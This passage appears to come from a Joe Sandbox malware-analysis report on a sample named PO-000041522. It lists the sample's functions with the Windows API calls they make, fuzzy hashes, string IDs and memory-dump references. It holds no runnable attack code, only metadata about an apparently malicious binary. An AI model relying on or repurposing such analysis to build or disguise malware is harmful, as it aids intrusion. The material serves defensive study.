                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __wcsicoll$IconLoad
                                                                                                • String ID: blank$info$question$stop$warning
                                                                                                • API String ID: 2485277191-404129466
                                                                                                • Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                • Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
                                                                                                • Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                • Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD
                                                                                                APIs
                                                                                                • CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
                                                                                                • GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
                                                                                                • strncnt.LIBCMT ref: 00428646
                                                                                                • strncnt.LIBCMT ref: 0042865A
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: strncnt$CompareErrorLastString
                                                                                                • String ID:
                                                                                                • API String ID: 1776594460-0
                                                                                                • Opcode ID: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                                • Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
                                                                                                • Opcode Fuzzy Hash: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                                                • Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58
                                                                                                APIs
                                                                                                • LoadIconW.USER32(?,00000063), ref: 004545DA
                                                                                                • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004545EC
                                                                                                • SetWindowTextW.USER32(?,?), ref: 00454606
                                                                                                • GetDlgItem.USER32(?,000003EA), ref: 0045461F
                                                                                                • SetWindowTextW.USER32(00000000,?), ref: 00454626
                                                                                                • GetDlgItem.USER32(?,000003E9), ref: 00454637
                                                                                                • SetWindowTextW.USER32(00000000,?), ref: 0045463E
                                                                                                • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00454663
                                                                                                • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0045467D
                                                                                                • GetWindowRect.USER32(?,?), ref: 00454688
                                                                                                • SetWindowTextW.USER32(?,?), ref: 004546FD
                                                                                                • GetDesktopWindow.USER32 ref: 00454708
                                                                                                • GetWindowRect.USER32(00000000), ref: 0045470F
                                                                                                • MoveWindow.USER32(?,?,00000000,?,?,00000000), ref: 00454760
                                                                                                • GetClientRect.USER32(?,?), ref: 0045476F
                                                                                                • PostMessageW.USER32(?,00000005,00000000,?), ref: 0045479E
                                                                                                • SetTimer.USER32(?,0000040A,?,00000000), ref: 004547E9
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                                                • String ID:
                                                                                                • API String ID: 3869813825-0
                                                                                                • Opcode ID: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                • Instruction ID: 4e77de65cc6986e78e6be143d0a4b9e7f39e78804b6f4fc71fe9e35dfcfd5046
                                                                                                • Opcode Fuzzy Hash: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                                • Instruction Fuzzy Hash: 8C616D71604701AFD320DF68CD88F2BB7E8AB88709F004E1DF98697691D7B8E849CB55
                                                                                                APIs
                                                                                                • LoadCursorW.USER32(00000000,00007F8A), ref: 00458D2D
                                                                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00458D3A
                                                                                                • LoadCursorW.USER32(00000000,00007F03), ref: 00458D47
                                                                                                • LoadCursorW.USER32(00000000,00007F8B), ref: 00458D54
                                                                                                • LoadCursorW.USER32(00000000,00007F01), ref: 00458D61
                                                                                                • LoadCursorW.USER32(00000000,00007F81), ref: 00458D6E
                                                                                                • LoadCursorW.USER32(00000000,00007F88), ref: 00458D7B
                                                                                                • LoadCursorW.USER32(00000000,00007F80), ref: 00458D88
                                                                                                • LoadCursorW.USER32(00000000,00007F86), ref: 00458D95
                                                                                                • LoadCursorW.USER32(00000000,00007F83), ref: 00458DA2
                                                                                                • LoadCursorW.USER32(00000000,00007F85), ref: 00458DAF
                                                                                                • LoadCursorW.USER32(00000000,00007F82), ref: 00458DBC
                                                                                                • LoadCursorW.USER32(00000000,00007F84), ref: 00458DC9
                                                                                                • LoadCursorW.USER32(00000000,00007F04), ref: 00458DD6
                                                                                                • LoadCursorW.USER32(00000000,00007F02), ref: 00458DE3
                                                                                                • LoadCursorW.USER32(00000000,00007F89), ref: 00458DF0
                                                                                                • GetCursorInfo.USER32 ref: 00458E03
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Cursor$Load$Info
                                                                                                • String ID:
                                                                                                • API String ID: 2577412497-0
                                                                                                • Opcode ID: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                • Instruction ID: 36b4ee280ed0253346847529aeb00c95e660e1b7f2a6688567eec4957a26740b
                                                                                                • Opcode Fuzzy Hash: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                                • Instruction Fuzzy Hash: D9311671E4C3156AE7509F758C5AB1BBEE0AF40B54F004D2FF2889F2D1DAB9E4448B86
                                                                                                APIs
                                                                                                • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 004696CC
                                                                                                • GetFocus.USER32 ref: 004696E0
                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 004696EB
                                                                                                • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046973F
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessagePost$CtrlFocus
                                                                                                • String ID: 0
                                                                                                • API String ID: 1534620443-4108050209
                                                                                                • Opcode ID: f61e2222ee10d5accf6abda365df1a8f7a0185f442179ffeeba4628688294849
                                                                                                • Instruction ID: 7d80af5808d25915b866e76daf530f36ef8b085de22dc1c7fc8dbb607ae8adb7
                                                                                                • Opcode Fuzzy Hash: f61e2222ee10d5accf6abda365df1a8f7a0185f442179ffeeba4628688294849
                                                                                                • Instruction Fuzzy Hash: 1591E1B1604301ABD710DF14D884BABB7A8FB89714F004A1EF99497391E7B4DC49CBAB
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 00468107
                                                                                                • GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
                                                                                                • GetMenuItemCount.USER32(?), ref: 00468227
                                                                                                • DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
                                                                                                • DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
                                                                                                • DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
                                                                                                • DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
                                                                                                • GetMenuItemCount.USER32 ref: 004682DC
                                                                                                • SetMenuItemInfoW.USER32 ref: 00468317
                                                                                                • GetCursorPos.USER32(00000000), ref: 00468322
                                                                                                • SetForegroundWindow.USER32(?), ref: 0046832D
                                                                                                • TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
                                                                                                • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                                                • String ID: 0
                                                                                                • API String ID: 3993528054-4108050209
                                                                                                • Opcode ID: 96134d5ccf85dd2c353584f61e992c1258bc53944db1005dc2f45aa542165571
                                                                                                • Instruction ID: a450cccb4b36e122d1eca3afa35c85d1e57e2007e4dd5bc50ce81cada7f4397f
                                                                                                • Opcode Fuzzy Hash: 96134d5ccf85dd2c353584f61e992c1258bc53944db1005dc2f45aa542165571
                                                                                                • Instruction Fuzzy Hash: 3C71C070648301ABE3309B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B
                                                                                                APIs
                                                                                                • DragQueryPoint.SHELL32(?,?), ref: 0046F2DA
                                                                                                  • Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                  • Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                  • Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                • SendMessageW.USER32(?), ref: 0046F34C
                                                                                                • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
                                                                                                • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
                                                                                                • _wcscat.LIBCMT ref: 0046F3BC
                                                                                                • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
                                                                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
                                                                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
                                                                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
                                                                                                • DragFinish.SHELL32(?), ref: 0046F414
                                                                                                • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0046F4FC
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$Drag$Query$FileRect$ClientFinishPointProcScreenWindow_wcscat
                                                                                                • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                                • API String ID: 4085615965-3440237614
                                                                                                • Opcode ID: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                • Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
                                                                                                • Opcode Fuzzy Hash: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                                • Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __wcsicoll
                                                                                                • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                                                                                                • API String ID: 3832890014-4202584635
                                                                                                • Opcode ID: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                • Instruction ID: bf73cd225697d97a5a257e466bf5c8c79b4efa22739c650e03c6b1f9c6e9338c
                                                                                                • Opcode Fuzzy Hash: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                • Instruction Fuzzy Hash: 1D01616160562122FE11322A7C03BDF15898F5139AF14447BFC05F1282FF4DDA8692EE
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 004669C4
                                                                                                • _wcsncpy.LIBCMT ref: 00466A21
                                                                                                • _wcsncpy.LIBCMT ref: 00466A4D
                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                • _wcstok.LIBCMT ref: 00466A90
                                                                                                  • Part of subcall function 004142A3: __getptd.LIBCMT ref: 004142A9
                                                                                                • _wcstok.LIBCMT ref: 00466B3F
                                                                                                • _wcscpy.LIBCMT ref: 00466BC8
                                                                                                • GetOpenFileNameW.COMDLG32(00000058), ref: 00466CFE
                                                                                                • _wcslen.LIBCMT ref: 00466D1D
                                                                                                • _memset.LIBCMT ref: 00466BEE
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                • _wcslen.LIBCMT ref: 00466D4B
                                                                                                • GetSaveFileNameW.COMDLG32(00000058), ref: 00466D9E
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcslen$FileName_memset_wcscpy_wcsncpy_wcstok$OpenSave__getptd
                                                                                                • String ID: X$HH
                                                                                                • API String ID: 3021350936-1944015008
                                                                                                • Opcode ID: b06cb37d3db4ad53d3a41f94d3d7a052046d00add24c9c6de48b5fd017d77e84
                                                                                                • Instruction ID: 73e83d7ea4d12cbe09e247b0b8120e99e9ae8af51722f6ce2f45a1bbad6557a4
                                                                                                • Opcode Fuzzy Hash: b06cb37d3db4ad53d3a41f94d3d7a052046d00add24c9c6de48b5fd017d77e84
                                                                                                • Instruction Fuzzy Hash: D1C1B2715043408BC714EF65C981A9FB3E4BF84304F15892FF949AB292EB78E905CB9B
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 0045F4AE
                                                                                                • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
                                                                                                • SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
                                                                                                • Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: InfoItemMenu$Sleep_memset
                                                                                                • String ID: 0
                                                                                                • API String ID: 1504565804-4108050209
                                                                                                • Opcode ID: d1fae1760d081b6b8cddc0049297ea6fd0734e9abca2e90a1ac85592b3d85e38
                                                                                                • Instruction ID: 9e8996cb251b45e9fd8013479734a73363ce4640cf951279a7d2fdadd0934edb
                                                                                                • Opcode Fuzzy Hash: d1fae1760d081b6b8cddc0049297ea6fd0734e9abca2e90a1ac85592b3d85e38
                                                                                                • Instruction Fuzzy Hash: E171E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A
                                                                                                APIs
                                                                                                • DestroyWindow.USER32(?,004A83D8,?), ref: 00455800
                                                                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 00455847
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$CreateDestroy
                                                                                                • String ID: ,$tooltips_class32
                                                                                                • API String ID: 1109047481-3856767331
                                                                                                • Opcode ID: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                • Instruction ID: af4df8b80438f92fd5356fe82daba85812243c44dff517d7eb602cf52e2cfce3
                                                                                                • Opcode Fuzzy Hash: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                                • Instruction Fuzzy Hash: BF719075244704AFE320DB28CC85F7B77E4EB89700F50491EFA8197391E6B5E905CB59
                                                                                                APIs
                                                                                                • _wcsncpy.LIBCMT ref: 0045CCFA
                                                                                                • __wsplitpath.LIBCMT ref: 0045CD3C
                                                                                                • _wcscat.LIBCMT ref: 0045CD51
                                                                                                • _wcscat.LIBCMT ref: 0045CD63
                                                                                                • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000104,?), ref: 0045CD78
                                                                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000104,?), ref: 0045CD8C
                                                                                                  • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                • GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDD0
                                                                                                • SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDE6
                                                                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDF8
                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 0045CE08
                                                                                                • _wcscpy.LIBCMT ref: 0045CE14
                                                                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CE5A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
                                                                                                • String ID: *.*
                                                                                                • API String ID: 1153243558-438819550
                                                                                                • Opcode ID: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                • Instruction ID: 4b7f18f3392d5c51d0b0bcfc25b88d1348604f1c1aa494fd035d881d108a9fe9
                                                                                                • Opcode Fuzzy Hash: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                                • Instruction Fuzzy Hash: 0561E5B61043419FD731EF54C885AEBB7E4EB84305F44882FED8983242D67D998E879E
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 00455127
                                                                                                • GetMenuItemInfoW.USER32 ref: 00455146
                                                                                                • DeleteMenu.USER32(?,?,00000000), ref: 004551B2
                                                                                                • DeleteMenu.USER32(?,?,00000000), ref: 004551C8
                                                                                                • GetMenuItemCount.USER32(?), ref: 004551D9
                                                                                                • SetMenu.USER32(?,00000000), ref: 004551E7
                                                                                                • DestroyMenu.USER32(?,?,00000000), ref: 004551F4
                                                                                                • DrawMenuBar.USER32 ref: 00455207
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow_memset
                                                                                                • String ID: 0
                                                                                                • API String ID: 1663942905-4108050209
                                                                                                • Opcode ID: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                • Instruction ID: b4bdd7d0bd4ee66815c45afb4cba49e6688c1fb7c5fb2b704b87d0eb3faa17d4
                                                                                                • Opcode Fuzzy Hash: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                                • Instruction Fuzzy Hash: F4413B70600A01AFD715DF24D9A8B6B77A8BF44302F40891DFD49CB292DB78EC44CBA9
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __get_daylight__invoke_watson$__gmtime64_s$__getptd_noexit
                                                                                                • String ID:
                                                                                                • API String ID: 1481289235-0
